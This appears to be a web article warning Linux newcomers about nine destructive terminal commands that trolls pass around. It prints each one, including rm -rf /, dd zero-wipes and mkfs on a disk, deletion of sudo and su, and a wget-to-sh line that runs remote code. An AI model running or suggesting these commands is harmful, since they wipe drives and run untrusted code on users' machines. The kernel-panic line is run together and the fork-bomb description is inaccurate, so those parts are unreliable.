1) Delete Recursively
The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of “That file can’t be deleted” errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.
# rm -rf /
2) Format Hard Drive
The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:
# mkfs.ext3 /dev/hda
3) Overwrite Hard Drive
As if accidental disk formatting wasn’t bad enough, it’s possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.
command > /dev/hda
In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.
4) Wipe Hard Drive
Here’s another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn’t get any more wiped than that.
# dd if=/dev/zero of=/dev/hda
The dd command is a low-level instruction that’s mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.
5) Implode Hard Drive
If you’re tired of hearing ways to wreck your hard drive, hang on. Here’s one more for you. On Linux, there’s a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.
# mv / /dev/null
6) Cause Kernel Panic
Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.
# dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem
7) Fork Bomb
Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.
This obscure command is called a fork bomb, which is a special type of kernel panic. It defines a
function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.
8) Execute Remote Script
Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:
# wget http://an-untrusted-url -O- | sh
9) Disable Root Command Rights
This final command is straightforward. It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.
# rm -f /usr/bin/sudo;rm -f /bin/su